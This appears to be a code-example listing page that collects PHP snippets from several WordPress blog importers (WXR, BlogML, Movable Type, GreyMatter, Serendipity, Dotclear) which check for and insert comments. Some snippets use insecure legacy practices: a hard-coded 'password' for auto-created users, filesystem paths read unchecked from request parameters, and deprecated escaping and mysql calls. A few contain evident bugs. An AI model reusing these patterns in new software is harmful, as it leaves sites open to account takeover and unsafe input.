             $postdata = array('import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password']);
             $original_post_ID = $post['post_id'];
             $postdata = apply_filters('wp_import_post_data_processed', $postdata, $post);
             if ('attachment' == $postdata['post_type']) {
                 if (!$attachment_id) {
                     $attachment_id = $wpdb->get_var($wpdb->prepare("SELECT wposts.ID\n\t\t\t\t\t\t\t\t\tFROM {$wpdb->posts} as wposts, {$wpdb->postmeta} as wpostmeta\n\t\t\t\t\t\t\t\t\t\tWHERE wposts.ID = wpostmeta.post_id\n\t\t\t\t\t\t\t\t\t\tAND wpostmeta.meta_key = %s\n\t\t\t\t\t\t\t\t\t\tAND wpostmeta.meta_value LIKE %s\n\t\t\t\t\t\t\t\t\t\tAND wposts.post_type = %s\n\t\t\t\t\t\t\t\t\tORDER BY wpostmeta.meta_id ASC ", '_wp_attached_file', '%demo_image.jpg', 'attachment'));
                 }
                 if (!$attachment_id) {
                     $remote_url = !empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid'];
                     if (!$this->method) {
                         $array = array($remote_url);
                         $remote_url = $this->ww_replace_image_links_with_local($array);
                         $remote_url = $remote_url[0];
                     }
                     // try to use _wp_attached file for upload folder placement to ensure the same location as the export site
                     // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()
                     $postdata['upload_date'] = $post['post_date'];
                     if (isset($post['postmeta'])) {
                         foreach ($post['postmeta'] as $meta) {
                             if ($meta['key'] == '_wp_attached_file') {
                                 if (preg_match('%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches)) {
                                     $postdata['upload_date'] = $matches[0];
                                 }
                                 break;
                             }
                         }
                     }
                     $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
                 } else {
                     $comment_post_ID = $post_id = $attachment_id;
                 }
             } else {
                 $comment_post_ID = $post_id = wp_insert_post($postdata, true);
                 do_action('wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post);
             }
             if (is_wp_error($post_id)) {
                 if (defined('IMPORT_DEBUG') && IMPORT_DEBUG) {
                 }
                 continue;
             }
             if ($post['is_sticky'] == 1) {
                 stick_post($post_id);
             }
         }
         // map pre-import ID to local ID
         $this->processed_posts[intval($post['post_id'])] = (int) $post_id;
         if ($attachment_id && 'attachment' == $post['post_type']) {
             continue;
         }
         if (!isset($post['terms'])) {
             $post['terms'] = array();
         }
         $post['terms'] = apply_filters('wp_import_post_terms', $post['terms'], $post_id, $post);
         // add categories, tags and other terms
         if (!empty($post['terms'])) {
             $terms_to_set = array();
             foreach ($post['terms'] as $term) {
                 // back compat with WXR 1.0 map 'tag' to 'post_tag'
                 $taxonomy = 'tag' == $term['domain'] ? 'post_tag' : $term['domain'];
                 $term_exists = term_exists($term['slug'], $taxonomy);
                 $term_id = is_array($term_exists) ? $term_exists['term_id'] : $term_exists;
                 if (!$term_id) {
                     $t = wp_insert_term($term['name'], $taxonomy, array('slug' => $term['slug']));
                     if (!is_wp_error($t)) {
                         $term_id = $t['term_id'];
                         do_action('wp_import_insert_term', $t, $term, $post_id, $post);
                     } else {
                         if (defined('IMPORT_DEBUG') && IMPORT_DEBUG) {
                         }
                         do_action('wp_import_insert_term_failed', $t, $term, $post_id, $post);
                         continue;
                     }
                 }
                 $terms_to_set[$taxonomy][] = intval($term_id);
             }
             foreach ($terms_to_set as $tax => $ids) {
                 $tt_ids = wp_set_post_terms($post_id, $ids, $tax);
                 do_action('wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post);
             }
             unset($post['terms'], $terms_to_set);
         }
         if (!isset($post['comments'])) {
             $post['comments'] = array();
         }
         $post['comments'] = apply_filters('wp_import_post_comments', $post['comments'], $post_id, $post);
         // add/update comments
         if (!empty($post['comments'])) {
             $num_comments = 0;
             $inserted_comments = array();
             foreach ($post['comments'] as $comment) {
                 $comment_id = $comment['comment_id'];
                 $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;
                 $newcomments[$comment_id]['comment_author'] = $comment['comment_author'];
                 $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];
                 $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];
                 $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];
                 $newcomments[$comment_id]['comment_date'] = $comment['comment_date'];
                 $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];
                 $newcomments[$comment_id]['comment_content'] = $comment['comment_content'];
                 $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];
                 $newcomments[$comment_id]['comment_type'] = $comment['comment_type'];
                 $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent'];
                 $newcomments[$comment_id]['commentmeta'] = isset($comment['commentmeta']) ? $comment['commentmeta'] : array();
                 if (isset($this->processed_authors[$comment['comment_user_id']])) {
                     $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']];
                 }
             }
             ksort($newcomments);
             foreach ($newcomments as $key => $comment) {
                 // if this is a new post we can skip the comment_exists() check
                 if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {
                     if (isset($inserted_comments[$comment['comment_parent']])) {
                         $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];
                     }
                     $comment = wp_filter_comment($comment);
                     $inserted_comments[$key] = wp_insert_comment($comment);
                     do_action('wp_import_insert_comment', $inserted_comments[$key], $comment, $comment_post_ID, $post);
                     foreach ($comment['commentmeta'] as $meta) {
                         $value = maybe_unserialize($meta['value']);
                         add_comment_meta($inserted_comments[$key], $meta['key'], $value);
                     }
                     $num_comments++;
                 }
             }
             unset($newcomments, $inserted_comments, $post['comments']);
         }
         if (!isset($post['postmeta'])) {
             $post['postmeta'] = array();
         }
         $post['postmeta'] = apply_filters('wp_import_post_meta', $post['postmeta'], $post_id, $post);
         // add/update post meta
         if (!empty($post['postmeta'])) {
             foreach ($post['postmeta'] as $meta) {
                 $key = apply_filters('import_post_meta_key', $meta['key'], $post_id, $post);
                 $value = false;
                 if ('_edit_last' == $key) {
                     if (isset($this->processed_authors[intval($meta['value'])])) {
                         $value = $this->processed_authors[intval($meta['value'])];
                     } else {
                         $key = false;
                     }
                 }
                 if ($key) {
                     // export gets meta straight from the DB so could have a serialized string
                     if (!$value) {
                         $value = maybe_unserialize($meta['value']);
                     }
                     if (!$this->method) {
                         // FIX IMAGES URL'S AND UPLOAD LOCAL IMAGES
                         $value = $this->ww_replace_image_links_with_local($value);
                     }
                     add_post_meta($post_id, $key, $value);
                     do_action('import_post_meta', $post_id, $key, $value);
                     // if the post has a featured image, take note of this in case of remap
                     if ('_thumbnail_id' == $key) {
                         $value = $this->ww_replace_image_links_with_local($value, false, true);
                     }
                 }
             }
         }
         $i++;
     }
     unset($this->posts);
     return true;
 }
コード例 #16
0
	function comments2wp($comments='')
	{
		// General Housekeeping
		global $wpdb;
		$count = 0;
		$jawscm2wpcm = array();
		$postarr = get_option('jawsposts2wpposts');

		// Magic Mojo
		if(is_array($comments))
		{
			echo '<p>'.__('Importing Comments...').'<br /><br /></p>';
			foreach($comments as $comment)
			{
				$count++;
				extract($comment);
				
				// WordPressify Data
				$comment_ID = ltrim($id, '0');
				$comment_post_ID = $postarr[$gadget_reference];
				//$comment_approved = ('approved' == $status) ? 1 : 0;
				$comment_approved = 1;	//TODO: check
				$name = utf8_decode($wpdb->escape($name));
				$email = $wpdb->escape($email);
				$web = $wpdb->escape($url);
				$message = utf8_decode($wpdb->escape($message));

				if($cinfo = comment_exists($name, $createtime))
				{
					// Update comments
					$ret_id = wp_update_comment(array(
						'comment_ID'			=> $cinfo,
						'comment_post_ID'		=> $comment_post_ID,
						'comment_author'		=> $name,
						'comment_author_email'	=> $email,
						'comment_author_url'	=> $web,
						'comment_date'			=> $createtime,
						'comment_content'		=> $msg_txt,
						'comment_approved'		=> $comment_approved,
						'comment_parent'		=> $postarr[$parent])
						);
				}
				else
				{
					// Insert comments
					$ret_id = wp_insert_comment(array(
						'comment_post_ID'		=> $comment_post_ID,
						'comment_author'		=> $name,
						'comment_author_email'	=> $email,
						'comment_author_url'	=> $web,
						'comment_author_IP'		=> $ip,
						'comment_date'			=> $createtime,
						'comment_content'		=> $msg_txt,
						'comment_approved'		=> $comment_approved,
						'comment_parent'		=> $postarr[$parent])
						);
				}
				$jawscm2wpcm[$comment_id] = $ret_id;
			}
			// Store Comment ID translation for future use
			add_option('jawscm2wpcm', $jawscm2wpcm);

			// Associate newly formed categories with posts
			get_comment_count($ret_id);


			echo '<p>'.sprintf(__('Done! <strong>%1$s</strong> comments imported.'), $count).'<br /><br /></p>';
			return true;
		}
		echo __('No Comments to Import!');
		return false;
	}
コード例 #17
0
 /**
  * Does the comment exist?
  *
  * @param array $data Comment data to check against.
  * @return int|bool Existing comment ID if it exists, false otherwise.
  */
 protected function comment_exists($data)
 {
     $exists_key = sha1($data['comment_author'] . ':' . $data['comment_date']);
     // Constant-time lookup if we prefilled
     if ($this->options['prefill_existing_comments']) {
         return isset($this->exists['comment'][$exists_key]) ? $this->exists['comment'][$exists_key] : false;
     }
     // No prefilling, but might have already handled it
     if (isset($this->exists['comment'][$exists_key])) {
         return $this->exists['comment'][$exists_key];
     }
     // Still nothing, try comment_exists, and cache it
     $exists = comment_exists($data['comment_author'], $data['comment_date']);
     $this->exists['comment'][$exists_key] = $exists;
     return $exists;
 }
コード例 #18
0
 function process_post($post)
 {
     global $wpdb;
     $post_URL = $this->xPath->getAttributes($post, "post-url");
     if ($post_URL && !empty($this->posts_processed[$post_URL][1])) {
         // Processed already
         return 0;
     }
     // There are only ever one of these
     $post_title_node = $this->xPath->match('title[1]', $post);
     $post_title = $wpdb->escape(str_replace(array('<![CDATA[', ']]>'), '', $this->xPath->getData($post_title_node[0])));
     $post_date = $this->getDate($this->xPath->getAttributes($post, "date-created"));
     $post_date_gmt = $this->getDate($this->xPath->getAttributes($post, "date-created"));
     $comment_status = 'open';
     // Not supported yet - hard-coded to "open"
     $ping_status = 'open';
     // Not supported yet - hard-coded to "open"
     $blogml_post_approved = (bool) $this->xPath->getAttributes($post, "approved");
     $post_status = $blogml_post_approved ? "publish" : "draft";
     // hard-code to either publsished or draft (draft could be changed to "private")
     $post_name_nodes = $this->xPath->match('child::post-name[1]', $post);
     $post_name = $wpdb->escape($this->xPath->getData(str_replace(array('<![CDATA[', ']]>'), '', $post_name_nodes[0])));
     $post_parent = '0';
     // not supported
     $menu_order = '0';
     // not supported
     $post_type = 'post';
     // only support posts now - could be changed to support posts and articles
     $guid = $post_URL;
     // For now, it's the URL
     $primary_post_author_nodes = $this->xPath->match('authors/author[1]', $post);
     $post_author = $wpdb->escape($this->xPath->getAttributes($primary_post_author_nodes[0], 'ref'));
     $contentNodes = $this->xPath->match("content[1]", $post);
     $is_base64_encoded = $this->getBoolean($this->xPath->getAttributes($contentNodes[0], "base64"));
     $post_content = $this->xPath->getData($contentNodes[0]);
     if ($is_base64_encoded) {
         $post_content = base64_decode($post_content);
     }
     $post_content = $wpdb->escape(str_replace(array('<![CDATA[', ']]>'), '', $post_content));
     $categories = array();
     $cat_results = $this->xPath->match("categories/category", $post);
     $cat_count = count($cat_results);
     for ($cat_index = 0; $cat_index < $cat_count; $cat_index++) {
         $categories[$cat_index] = $wpdb->escape($this->xPath->getAttributes($cat_results[$cat_index], 'ref'));
     }
     $tags = array();
     $tag_results = $this->xPath->match("tags/tag", $post);
     $tag_count = count($tag_results);
     for ($tag_index = 0; $tag_index < $tag_count; $tag_index++) {
         $tags[$tag_index] = $wpdb->escape($this->xPath->getAttributes($tag_results[$tag_index], 'ref'));
     }
     if ($post_id = post_exists($post_title, '', '')) {
         echo '<li>';
         printf(__('Post <i>%s</i> already exists.'), stripslashes($post_title));
     } else {
         echo '<li>';
         printf(__('Importing post <i>%s</i>...'), stripslashes($post_title));
         $post_author = $this->checkauthor($post_author);
         //just so that if a post already exists, new users are not created by checkauthor
         $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'post_name', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt', 'guid', 'post_parent', 'menu_order', 'post_type');
         $comment_post_ID = $post_id = wp_insert_post($postdata);
         // Get the post permalink and associate with the old post URL
         $post_permalink = get_permalink($post_id);
         $this->old_new_post_mapping[$post_URL] = $post_permalink;
         // Memorize old and new ID.
         if ($post_id && $post_URL && $this->posts_processed[$post_URL]) {
             $this->posts_processed[$post_URL][1] = $post_id;
         }
         // New ID.
         // Add categories.
         if (count($categories) > 0) {
             $post_cats = array();
             foreach ($categories as $category) {
                 $cat_ID = (int) $wpdb->get_var("SELECT term_id FROM {$wpdb->terms} WHERE name = '{$category}'");
                 if ($cat_ID == 0) {
                     $cat_ID = wp_insert_category(array('cat_name' => $category));
                 }
                 $post_cats[] = $cat_ID;
             }
             wp_set_post_categories($post_id, $post_cats);
         }
         // Add tags.
         if ($tag_count > 0) {
             $post_tags = array();
             wp_set_object_terms($post_id, $tags, 'post_tag', true);
         }
         printf(' ' . __('(%s tags)'), $tag_count);
     }
     // Now for comments
     $commentsNodes = $this->xPath->match("comments/comment", $post);
     $num_comments = 0;
     if (count($commentsNodes) > 0) {
         foreach ($commentsNodes as $comment) {
             $comment_author = $wpdb->escape($this->xPath->getAttributes($comment, 'user-name'));
             $comment_author_email = $wpdb->escape($this->xPath->getAttributes($comment, 'user-email'));
             $comment_author_IP = '';
             // Unsupported
             $comment_author_url = $wpdb->escape($this->xPath->getAttributes($comment, 'user-url'));
             $comment_date = $this->getDate($this->xPath->getAttributes($comment, 'date-created'));
             $comment_date_gmt = $this->getDate($this->xPath->getAttributes($comment, 'date-created'));
             $commentContentNodes = $this->xPath->match("content[1]", $comment);
             $is_comment_base64_encoded = $this->getBoolean($this->xPath->getAttributes($commentContentNodes[0], "base64"));
             $comment_content = $this->xPath->getData($commentContentNodes[0]);
             if ($is_comment_base64_encoded) {
                 $comment_content = base64_decode($comment_content);
             }
             $comment_content = $wpdb->escape(str_replace(array('<![CDATA[', ']]>'), '', $comment_content));
             $is_comment_approved = (bool) $this->xPath->getAttributes($comment, 'approved');
             $comment_approved = $is_comment_approved ? '1' : '0';
             $comment_type = '';
             // I can't tell what data this is looking for -
             // the wordpress export has it as empty, so we do too. :)
             $comment_parent = '0';
             // we don't currently support parented comments
             if (!comment_exists($comment_author, $comment_date)) {
                 $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_approved', 'comment_type', 'comment_parent');
                 wp_insert_comment($commentdata);
                 $num_comments++;
             }
         }
     }
     if ($num_comments) {
         printf(' ' . __('(%s comments)'), $num_comments);
     }
     echo '</li>';
 }
コード例 #19
0
ファイル: mt.php プロジェクト: BGCX262/zxhproject-svn-to-git
 function save_post(&$post, &$comments, &$pings)
 {
     // Reset the counter
     set_time_limit(30);
     $post = get_object_vars($post);
     $post = add_magic_quotes($post);
     $post = (object) $post;
     if ($post_id = post_exists($post->post_title, '', $post->post_date)) {
         echo '<li>';
         printf(__('Post <em>%s</em> already exists.'), stripslashes($post->post_title));
     } else {
         echo '<li>';
         printf(__('Importing post <em>%s</em>...'), stripslashes($post->post_title));
         if ('' != trim($post->extended)) {
             $post->post_content .= "\n<!--more-->\n{$post->extended}";
         }
         $post->post_author = $this->checkauthor($post->post_author);
         //just so that if a post already exists, new users are not created by checkauthor
         $post_id = wp_insert_post($post);
         if (is_wp_error($post_id)) {
             return $post_id;
         }
         // Add categories.
         if (0 != count($post->categories)) {
             wp_create_categories($post->categories, $post_id);
         }
         // Add tags or keywords
         if (1 < strlen($post->post_keywords)) {
             // Keywords exist.
             printf(__('<br />Adding tags <i>%s</i>...'), stripslashes($post->post_keywords));
             wp_add_post_tags($post_id, $post->post_keywords);
         }
     }
     $num_comments = 0;
     foreach ($comments as $comment) {
         $comment = get_object_vars($comment);
         $comment = add_magic_quotes($comment);
         if (!comment_exists($comment['comment_author'], $comment['comment_date'])) {
             $comment['comment_post_ID'] = $post_id;
             $comment = wp_filter_comment($comment);
             wp_insert_comment($comment);
             $num_comments++;
         }
     }
     if ($num_comments) {
         printf(' ' . __ngettext('(%s comment)', '(%s comments)', $num_comments), $num_comments);
     }
     $num_pings = 0;
     foreach ($pings as $ping) {
         $ping = get_object_vars($ping);
         $ping = add_magic_quotes($ping);
         if (!comment_exists($ping['comment_author'], $ping['comment_date'])) {
             $ping['comment_content'] = "<strong>{$ping['title']}</strong>\n\n{$ping['comment_content']}";
             $ping['comment_post_ID'] = $post_id;
             $ping = wp_filter_comment($ping);
             wp_insert_comment($ping);
             $num_pings++;
         }
     }
     if ($num_pings) {
         printf(' ' . __ngettext('(%s ping)', '(%s pings)', $num_pings), $num_pings);
     }
     echo "</li>";
     //ob_flush();flush();
 }
コード例 #20
0
    function import()
    {
        global $wpdb;
        $wpvarstoreset = array('gmpath', 'archivespath', 'lastentry');
        for ($i = 0; $i < count($wpvarstoreset); $i += 1) {
            $wpvar = $wpvarstoreset[$i];
            if (!isset(${$wpvar})) {
                if (empty($_POST["{$wpvar}"])) {
                    if (empty($_GET["{$wpvar}"])) {
                        ${$wpvar} = '';
                    } else {
                        ${$wpvar} = $_GET["{$wpvar}"];
                    }
                } else {
                    ${$wpvar} = $_POST["{$wpvar}"];
                }
            }
        }
        if (!chdir($archivespath)) {
            wp_die(sprintf(__("Wrong path, %s\ndoesn't exist\non the server"), $archivespath));
        }
        if (!chdir($gmpath)) {
            wp_die(sprintf(__("Wrong path, %s\ndoesn't exist\non the server"), $gmpath));
        }
        $this->header();
        ?>
<p><?php 
        _e('The importer is running...');
        ?>
</p>
<ul>
<li><?php 
        _e('importing users...');
        ?>
<ul><?php 
        chdir($gmpath);
        $userbase = file("gm-authors.cgi");
        foreach ($userbase as $user) {
            $userdata = explode("|", $user);
            $user_ip = "127.0.0.1";
            $user_domain = "localhost";
            $user_browser = "server";
            $s = $userdata[4];
            $user_joindate = substr($s, 6, 4) . "-" . substr($s, 0, 2) . "-" . substr($s, 3, 2) . " 00:00:00";
            $user_login = $wpdb->escape($userdata[0]);
            $pass1 = $wpdb->escape($userdata[1]);
            $user_nickname = $wpdb->escape($userdata[0]);
            $user_email = $wpdb->escape($userdata[2]);
            $user_url = $wpdb->escape($userdata[3]);
            $user_joindate = $wpdb->escape($user_joindate);
            $user_id = username_exists($user_login);
            if ($user_id) {
                printf('<li>' . __('user %s') . '<strong>' . __('Already exists') . '</strong></li>', "<em>{$user_login}</em>");
                $this->gmnames[$userdata[0]] = $user_id;
                continue;
            }
            $user_info = array("user_login" => "{$user_login}", "user_pass" => "{$pass1}", "user_nickname" => "{$user_nickname}", "user_email" => "{$user_email}", "user_url" => "{$user_url}", "user_ip" => "{$user_ip}", "user_domain" => "{$user_domain}", "user_browser" => "{$user_browser}", "dateYMDhour" => "{$user_joindate}", "user_level" => "1", "user_idmode" => "nickname");
            $user_id = wp_insert_user($user_info);
            $this->gmnames[$userdata[0]] = $user_id;
            printf('<li>' . __('user %s...') . ' <strong>' . __('Done') . '</strong></li>', "<em>{$user_login}</em>");
        }
        ?>
</ul><strong><?php 
        _e('Done');
        ?>
</strong></li>
<li><?php 
        _e('importing posts, comments, and karma...');
        ?>
<br /><ul><?php 
        chdir($archivespath);
        for ($i = 0; $i <= $lastentry; $i = $i + 1) {
            $entryfile = "";
            if ($i < 10000000) {
                $entryfile .= "0";
                if ($i < 1000000) {
                    $entryfile .= "0";
                    if ($i < 100000) {
                        $entryfile .= "0";
                        if ($i < 10000) {
                            $entryfile .= "0";
                            if ($i < 1000) {
                                $entryfile .= "0";
                                if ($i < 100) {
                                    $entryfile .= "0";
                                    if ($i < 10) {
                                        $entryfile .= "0";
                                    }
                                }
                            }
                        }
                    }
                }
            }
            $entryfile .= "{$i}";
            if (is_file($entryfile . ".cgi")) {
                $entry = file($entryfile . ".cgi");
                $postinfo = explode("|", $entry[0]);
                $postmaincontent = $this->gm2autobr($entry[2]);
                $postmorecontent = $this->gm2autobr($entry[3]);
                $post_author = trim($wpdb->escape($postinfo[1]));
                $post_title = $this->gm2autobr($postinfo[2]);
                printf('<li>' . __('entry # %s : %s : by %s'), $entryfile, $post_title, $postinfo[1]);
                $post_title = $wpdb->escape($post_title);
                $postyear = $postinfo[6];
                $postmonth = zeroise($postinfo[4], 2);
                $postday = zeroise($postinfo[5], 2);
                $posthour = zeroise($postinfo[7], 2);
                $postminute = zeroise($postinfo[8], 2);
                $postsecond = zeroise($postinfo[9], 2);
                if ($postinfo[10] == "PM" && $posthour != "12") {
                    $posthour = $posthour + 12;
                }
                $post_date = "{$postyear}-{$postmonth}-{$postday} {$posthour}:{$postminute}:{$postsecond}";
                $post_content = $postmaincontent;
                if (strlen($postmorecontent) > 3) {
                    $post_content .= "<!--more--><br /><br />" . $postmorecontent;
                }
                $post_content = $wpdb->escape($post_content);
                $post_karma = $postinfo[12];
                $post_status = 'publish';
                //in greymatter, there are no drafts
                $comment_status = 'open';
                $ping_status = 'closed';
                if ($post_ID = post_exists($post_title, '', $post_date)) {
                    echo ' ';
                    _e('(already exists)');
                } else {
                    //just so that if a post already exists, new users are not created by checkauthor
                    // we'll check the author is registered, or if it's a deleted author
                    $user_id = username_exists($post_author);
                    if (!$user_id) {
                        // if deleted from GM, we register the author as a level 0 user
                        $user_ip = "127.0.0.1";
                        $user_domain = "localhost";
                        $user_browser = "server";
                        $user_joindate = "1979-06-06 00:41:00";
                        $user_login = $wpdb->escape($post_author);
                        $pass1 = $wpdb->escape("password");
                        $user_nickname = $wpdb->escape($post_author);
                        $user_email = $wpdb->escape("*****@*****.**");
                        $user_url = $wpdb->escape("");
                        $user_joindate = $wpdb->escape($user_joindate);
                        $user_info = array("user_login" => $user_login, "user_pass" => $pass1, "user_nickname" => $user_nickname, "user_email" => $user_email, "user_url" => $user_url, "user_ip" => $user_ip, "user_domain" => $user_domain, "user_browser" => $user_browser, "dateYMDhour" => $user_joindate, "user_level" => 0, "user_idmode" => "nickname");
                        $user_id = wp_insert_user($user_info);
                        $this->gmnames[$postinfo[1]] = $user_id;
                        echo ': ';
                        printf(__('registered deleted user %s at level 0 '), "<em>{$user_login}</em>");
                    }
                    if (array_key_exists($postinfo[1], $this->gmnames)) {
                        $post_author = $this->gmnames[$postinfo[1]];
                    } else {
                        $post_author = $user_id;
                    }
                    $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt');
                    $post_ID = wp_insert_post($postdata);
                }
                $c = count($entry);
                if ($c > 4) {
                    $numAddedComments = 0;
                    $numComments = 0;
                    for ($j = 4; $j < $c; $j++) {
                        $entry[$j] = $this->gm2autobr($entry[$j]);
                        $commentinfo = explode("|", $entry[$j]);
                        $comment_post_ID = $post_ID;
                        $comment_author = $wpdb->escape($commentinfo[0]);
                        $comment_author_email = $wpdb->escape($commentinfo[2]);
                        $comment_author_url = $wpdb->escape($commentinfo[3]);
                        $comment_author_IP = $wpdb->escape($commentinfo[1]);
                        $commentyear = $commentinfo[7];
                        $commentmonth = zeroise($commentinfo[5], 2);
                        $commentday = zeroise($commentinfo[6], 2);
                        $commenthour = zeroise($commentinfo[8], 2);
                        $commentminute = zeroise($commentinfo[9], 2);
                        $commentsecond = zeroise($commentinfo[10], 2);
                        if ($commentinfo[11] == "PM" && $commenthour != "12") {
                            $commenthour = $commenthour + 12;
                        }
                        $comment_date = "{$commentyear}-{$commentmonth}-{$commentday} {$commenthour}:{$commentminute}:{$commentsecond}";
                        $comment_content = $wpdb->escape($commentinfo[12]);
                        if (!comment_exists($comment_author, $comment_date)) {
                            $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_content', 'comment_approved');
                            $commentdata = wp_filter_comment($commentdata);
                            wp_insert_comment($commentdata);
                            $numAddedComments++;
                        }
                        $numComments++;
                    }
                    if ($numAddedComments > 0) {
                        echo ': ';
                        printf(__('imported %d comment(s)'), $numAddedComments);
                    }
                    $preExisting = $numComments - numAddedComments;
                    if ($preExisting > 0) {
                        echo ' ';
                        printf(__('ignored %d pre-existing comments'), $preExisting);
                    }
                }
                echo '... <strong>' . __('Done') . '</strong></li>';
            }
        }
        ?>
</ul><strong><?php 
        _e('Done');
        ?>
</strong></li></ul>
<p>&nbsp;</p>
<p><?php 
        _e('Completed GreyMatter import!');
        ?>
</p>
<?php 
        $this->footer();
    }
コード例 #21
0
ファイル: serendipity.php プロジェクト: jimjag/s9y-to-wp
 function comments2wp($comments = '')
 {
     ini_set('display_errors', true);
     // General Housekeeping
     global $wpdb;
     $count = 0;
     $s9ycm2wpcm = array();
     $postarr = get_option('s9yposts2wpposts');
     // Magic Mojo
     if (is_array($comments)) {
         echo '<p>' . __('Importing Comments...') . '<br /><br /></p>';
         foreach ($comments as $comment) {
             $count++;
             extract($comment);
             // WordPressify Data
             $comment_ID = (int) $id;
             //$comment_post_ID = find_comment_parent($postarr, $id);
             $comment_approved = $status == 'approved' ? 1 : 0;
             //parent comment not parent post;
             $comment_parent = $parent_id;
             $name = $wpdb->escape($author);
             $email = $wpdb->escape($email);
             $web = $wpdb->escape($url);
             $message = $wpdb->escape($body);
             $wpdb->show_errors();
             $posted = date('Y-m-d H:i:s', $timestamp);
             if (comment_exists($name, $posted) > 0) {
                 //$cinfo = comment_exists($name, $posted);
                 // Update comments
                 $ret_id = wp_update_comment(array('comment_ID' => $comment_ID, 'comment_post_ID' => find_comment_parent($postarr, $entry_id), 'comment_author' => $name, 'comment_parent' => $comment_parent, 'comment_author_email' => $email, 'comment_author_url' => $web, 'comment_author_IP' => $ip, 'comment_date' => $posted, 'comment_content' => $message, 'comment_approved' => $comment_approved));
             } else {
                 // Insert comments
                 $ret_id = wp_insert_comment(array('comment_ID' => $comment_ID, 'comment_post_ID' => find_comment_parent($postarr, $entry_id), 'comment_author' => $name, 'comment_author_email' => $email, 'comment_author_url' => $web, 'comment_author_IP' => $ip, 'comment_date' => $posted, 'comment_content' => $message, 'comment_parent' => $comment_parent, 'comment_approved' => $comment_approved));
                 $wpdb->query("UPDATE {$wpdb->comments} SET comment_ID={$comment_ID} WHERE comment_ID={$ret_id}");
             }
             //$s9ycm2wpcm[$comment_ID] = $ret_id;
         }
         // Store Comment ID translation for future use
         //add_option('s9ycm2wpcm', $s9ycm2wpcm);
         // Associate newly formed categories with posts
         //get_comment_count($ret_id);
         echo '<p>' . sprintf(__('Done! <strong>%1$s</strong> comments imported.'), $count) . '<br /><br /></p>';
         return true;
     }
     echo __('No Comments to Import!');
     return false;
 }
コード例 #22
0
ファイル: dotclear.php プロジェクト: helmonaut/owb-mirror
 function comments2wp($comments = '')
 {
     // General Housekeeping
     global $wpdb;
     $count = 0;
     $dccm2wpcm = array();
     $postarr = get_option('dcposts2wpposts');
     // Magic Mojo
     if (is_array($comments)) {
         echo '<p>' . __('Importing Comments...') . '<br /><br /></p>';
         foreach ($comments as $comment) {
             $count++;
             extract($comment);
             // WordPressify Data
             $comment_ID = (int) ltrim($comment_id, '0');
             $comment_post_ID = (int) $postarr[$post_id];
             $comment_approved = "{$comment_pub}";
             $name = $wpdb->escape(csc($comment_auteur));
             $email = $wpdb->escape($comment_email);
             $web = "http://" . $wpdb->escape($comment_site);
             $message = $wpdb->escape(textconv($comment_content));
             if ($cinfo = comment_exists($name, $comment_dt)) {
                 // Update comments
                 $ret_id = wp_update_comment(array('comment_ID' => $cinfo, 'comment_post_ID' => $comment_post_ID, 'comment_author' => $name, 'comment_author_email' => $email, 'comment_author_url' => $web, 'comment_author_IP' => $comment_ip, 'comment_date' => $comment_dt, 'comment_date_gmt' => $comment_dt, 'comment_content' => $message, 'comment_approved' => $comment_approved));
             } else {
                 // Insert comments
                 $ret_id = wp_insert_comment(array('comment_post_ID' => $comment_post_ID, 'comment_author' => $name, 'comment_author_email' => $email, 'comment_author_url' => $web, 'comment_author_IP' => $comment_ip, 'comment_date' => $comment_dt, 'comment_date_gmt' => $comment_dt, 'comment_content' => $message, 'comment_approved' => $comment_approved));
             }
             $dccm2wpcm[$comment_ID] = $ret_id;
         }
         // Store Comment ID translation for future use
         add_option('dccm2wpcm', $dccm2wpcm);
         // Associate newly formed categories with posts
         get_comment_count($ret_id);
         echo '<p>' . sprintf(__('Done! <strong>%1$s</strong> comments imported.'), $count) . '<br /><br /></p>';
         return true;
     }
     echo __('No Comments to Import!');
     return false;
 }
コード例 #23
0
ファイル: like_get.php プロジェクト: pairIT/Pair_It_Website
<?php

include 'connect.php';
include 'like.php';
session_start();
if (isset($_POST['comment_id'], $_SESSION['user_id']) && comment_exists($_POST['comment_id'])) {
    echo like_count($_POST['comment_id']);
}
?>

<?php 
mysql_close();
コード例 #24
0
    function import()
    {
        global $wpdb;
        $wpvarstoreset = array('gmpath', 'archivespath', 'lastentry');
        for ($i = 0; $i < count($wpvarstoreset); $i += 1) {
            $wpvar = $wpvarstoreset[$i];
            if (!isset(${$wpvar})) {
                if (empty($_POST["{$wpvar}"])) {
                    if (empty($_GET["{$wpvar}"])) {
                        ${$wpvar} = '';
                    } else {
                        ${$wpvar} = $_GET["{$wpvar}"];
                    }
                } else {
